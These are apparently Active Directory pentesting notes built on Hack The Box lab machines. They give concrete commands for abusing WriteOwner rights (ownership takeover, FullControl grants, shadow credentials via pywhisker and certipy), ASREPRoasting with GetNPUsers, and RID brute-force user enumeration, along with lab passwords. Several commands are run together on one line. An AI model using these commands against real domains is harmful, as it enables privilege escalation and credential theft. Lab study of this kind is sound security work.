AD Tips

WriteOwner

If we have WriteOwner permissions over a user (for example, we are ryan over ca_svc):
terminal
bloodyAD --host '10.10.11.51' -d 'escapetwo.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'pywhisker -d "sequel.htb" -u "ryan" -p "WqSZAF6CysDQbGb3" --target "ca_svc" --action "add"# O shadow credentials con certipycertipy-ad shadow auto -u p.agila@fluffy.htb -account ca_svc

ASREPRoasting

Technique similar to Kerberoasting that cracks offline the passwords of users with the DONT_REQ_PREAUTH attribute (they are not required to pre-authenticate).
terminal
GetNPUsers INLANEFREIGHT.LOCAL/wley:transporter@4 -dc-ip 172.16.5.5 -request# Sin contraseñas pero con usuariosGetNPUsers spookysec.local/ -no-pass -dc-ip 10.10.148.175 -usersfile usuariosvalidos
Useful tools without credentials: Kerberoasting, ASREPRoasting, Password Spraying, bloodhound-python, poisoning, enum4linux-ng/rpcclient (enumdomusers), Kerbrute, Rubeus.
If you have nothing, enumerate with kerbrute; if a user such as guest appears, use rid-brute:
terminal
$ nxc smb 10.10.11.35 -u guest -p '' --rid-brute | grep SidTypeUser

Kerberos

It is recommended NOT to use an IP; use the domain name:
terminal
$ nxc smb dc01.vintage.htb